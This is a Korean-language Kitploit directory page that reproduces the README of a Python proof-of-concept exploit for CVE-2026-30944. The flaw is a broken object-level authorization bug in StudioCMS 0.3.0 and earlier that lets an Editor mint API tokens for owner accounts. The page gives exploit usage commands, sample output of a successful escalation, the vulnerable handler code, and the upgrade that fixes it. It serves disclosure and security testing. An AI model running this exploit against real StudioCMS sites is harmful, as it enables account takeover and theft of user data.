Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-30944-PoC — # CVE-2026-30944에 대한 Python 개념 증명 코드 StudioCMS의 BOLA 취약점을 악용하여 안전하지 않은 API 토큰 생성을 통해 권한을 상승시키는 코드입니다. | Kitploit
도구/GitHubGitHub/filipegaudard/cve-2026-30944-poc
Privilege EscalationVulnerability AnalysisExploitationWeb Application ExploitationAPI Security TestingWeb SecurityPenetration Testing
GitHubfilipegaudard/cve-2026-30944-poc

CVE-2026-30944-PoC

# CVE-2026-30944에 대한 Python 개념 증명 코드 StudioCMS의 BOLA 취약점을 악용하여 안전하지 않은 API 토큰 생성을 통해 권한을 상승시키는 코드입니다.

저장소 보기
106개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

🔓 CVE-2026-30944

StudioCMS 불안전한 API 토큰 생성으로 인한 권한 상승

CVE CVSS CWE Type

NVD • Advisory • CWE-639


개요

StudioCMS ≤ 0.3.0의 POST /studiocms_api/dashboard/api-tokens 엔드포인트는 인증된 모든 사용자(최소 Editor 역할)가 owner 및 admin 계정을 포함한 다른 모든 사용자를 위한 API 토큰을 생성할 수 있도록 허용합니다.

이 엔드포인트는 요청 본문에서 대상 사용자 UUID를 지정하는 user 매개변수를 허용하지만, 요청 사용자가 해당 대상을 대신하여 토큰을 생성할 권한이 있는지 절대 검증하지 않습니다. 이는 전체 권한 상승으로 이어지는 전형적인 객체 수준 권한 부여 손상(BOLA) 취약점입니다.

공격 흐름

root@kitploit:~
┌──────────────┐     POST /api-tokens      ┌──────────────┐
│              │    {"user":"<owner-id>"}    │              │
│   공격자     │ ─────────────────────────► │  StudioCMS   │
│   (Editor)   │                            │   서버        │
│              │ ◄───────────────────────── │              │
└──────────────┘    {"token":"eyJhb..."}    └──────────────┘
       │                                           │
       │         GET /rest/v1/users                │
       │   Authorization: Bearer <owner-token>     │
       │ ─────────────────────────────────────────►│
       │                                           │
       │ ◄─────────────────────────────────────────│
       │         [Owner 권한의 전체 사용자 데이터]    │
       │                                           │

취약점 세부 정보


구성 파일

파일설명
cve_2026_30944_poc.py수동 및 자동 모드를 지원하는 Python 익스플로잇 스크립트
README.md이 파일
LICENSEMIT 라이선스

사전 요구 사항

  • StudioCMS ≤ 0.3.0 (취약한 버전)
  • Python 3.8+
  • 최소 Editor 계정의 유효한 자격 증명
root@kitploit:~
pip install requests colorama

빠른 시작

수동 익스플로잇

root@kitploit:~
# 에디터 계정을 사용하여 owner용 API 토큰 생성
python3 cve_2026_30944_poc.py \
  -u http://localhost:4321 \
  --username editor01 \
  --password editorpass \
  --uuid 2450bf33-0135-4142-80be-9854f9a5e9f1

# 결과를 JSON으로 저장
python3 cve_2026_30944_poc.py \
  -u http://localhost:4321 \
  --username editor01 \
  --password editorpass \
  --uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
  --save

자동 테스트

root@kitploit:~
# 여러 역할로 테스트하여 취약점 확인
python3 cve_2026_30944_poc.py \
  -u http://localhost:4321 \
  --auto-test \
  --editor-user editor01 \
  --editor-pass editorpass \
  --visitor-user visitor01 \
  --visitor-pass visitorpass \
  --uuid 2450bf33-0135-4142-80be-9854f9a5e9f1

인자

필수

인자설명
-u, --url대상 StudioCMS 기본 URL
--uuid대상 사용자 UUID (예: owner 계정)

수동 모드

인자설명
--username인증용 사용자 이름
--password인증용 비밀번호

자동 테스트 모드

선택 사항

인자설명
--save결과를 JSON 파일로 저장
--no-ssl-verifySSL 인증서 검증 비활성화

출력 예시

취약한 시스템

root@kitploit:~
  ──────────────────────────────────────────────────────────
  PHASE 1: 인증
  ──────────────────────────────────────────────────────────
  [+] 'editor01'로 인증됨
  [*] 세션 사용자: editor01 (editor)
  [*] 세션 UUID: 39b3e7d3-5eb0-48e1-abdc-ce95a57b212c

  ──────────────────────────────────────────────────────────
  PHASE 2: 권한 상승
  ──────────────────────────────────────────────────────────
  [*] 대상 UUID: 2450bf33-0135-4142-80be-9854f9a5e9f1
  [*] 대상 사용자용 API 토큰 생성 중...
  [+] API 토큰이 성공적으로 생성되었습니다!
  [!] 토큰: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2...

  ──────────────────────────────────────────────────────────
  PHASE 3: 검증
  ──────────────────────────────────────────────────────────
  [*] REST API에서 토큰 액세스 검증 중...
  [+] 취약점 확인됨 — 전체 API 액세스 달성!
  [*] 9개의 사용자 레코드 검색됨

패치된 시스템

root@kitploit:~
  ──────────────────────────────────────────────────────────
  PHASE 2: 권한 상승
  ──────────────────────────────────────────────────────────
  [*] 대상 UUID: 2450bf33-0135-4142-80be-9854f9a5e9f1
  [*] 대상 사용자용 API 토큰 생성 중...
  [*] 액세스 거부됨 (403 Forbidden) — 엔드포인트가 패치되었을 수 있음
  [-] 익스플로잇 실패 — 토큰이 생성되지 않음

근본 원인

취약한 핸들러인 packages/studiocms/frontend/pages/studiocms_api/dashboard/api-tokens.ts (16–57행)는 JSON 본문에서 user 매개변수를 허용하고 권한 부여 검사 없이 토큰 생성 함수에 직접 전달합니다:

root@kitploit:~
// [1] 호출자가 editor인지만 확인 — 누구를 위해 토큰을 생성하는지는 확인하지 않음
const isAuthorized = ctx.locals.StudioCMS.security?.userPermissionLevel.isEditor;

// [2] 요청 본문의 'user' — 인증된 세션에 대한 검증 없음
const jsonData = yield* readAPIContextJson<{ description: string; user: string }>(ctx);

// [3] 토큰 생성에 직접 전달 — IDOR
const newToken = yield* sdk.REST_API.tokens.new(jsonData.user, jsonData.description);

권한 부여 모델은 *"호출자가 최소한 editor인가?"*만 확인할 뿐 *"호출자가 이 특정 사용자를 위해 토큰을 생성할 권한이 있는가?"*는 확인하지 않습니다.


영향

  • 권한 상승 — 모든 에디터가 owner 수준의 API 액세스로 권한을 상승시킬 수 있음
  • 전체 API 액세스 — 생성된 토큰은 모든 REST 엔드포인트에 대한 무제한 액세스를 부여함
  • 계정 탈취 — 공격자는 대상 사용자의 UUID를 지정하여 모든 사용자를 가장할 수 있음
  • 데이터 유출 — 사용자 목록, 콘텐츠 및 시스템 구성에 대한 액세스

완화 조치

StudioCMS를 버전 0.4.0 이상으로 업데이트하세요:

root@kitploit:~
npm install studiocms@latest

법적 고지

이 도구는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다.

  • 소유하거나 명시적인 서면 허가를 받은 시스템에만 사용하세요
  • 컴퓨터 시스템에 대한 무단 액세스는 대부분의 관할권에서 불법입니다
  • 저자는 이 도구의 오용에 대해 어떠한 책임도 지지 않습니다
  • 항상 책임 있는 공개 관행을 따르세요

참고 자료

  • CVE: CVE-2026-30944
  • Advisory: GHSA-667w-mmh7-mrr4
  • CWE: CWE-639 — 사용자 제어 키를 통한 권한 부여 우회
  • OWASP: API1:2023 — 객체 수준 권한 부여 손상
  • MITRE ATT&CK: T1134 — 액세스 토큰 조작

작성자

Filipe Gaudard


라이선스

이 PoC는 교육 목적으로 MIT 라이선스 하에 배포됩니다. 책임감 있고 윤리적으로 사용하세요.

도구 다운로드
필드값
CVECVE-2026-30944
GHSAGHSA-667w-mmh7-mrr4
CVSS v3.18.8 (High) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWECWE-639: 사용자 제어 키를 통한 권한 부여 우회
CWE (보조)CWE-863: 잘못된 권한 부여
MITRE ATT&CKT1134 — 액세스 토큰 조작
OWASP APIAPI1:2023 — 객체 수준 권한 부여 손상
영향 버전studiocms ≤ 0.3.0
수정 버전studiocms 0.4.0
인자설명
--auto-test자동 다중 역할 테스트 활성화
--editor-user에디터 계정 사용자 이름
--editor-pass에디터 계정 비밀번호
--visitor-user방문자 계정 사용자 이름
--visitor-pass방문자 계정 비밀번호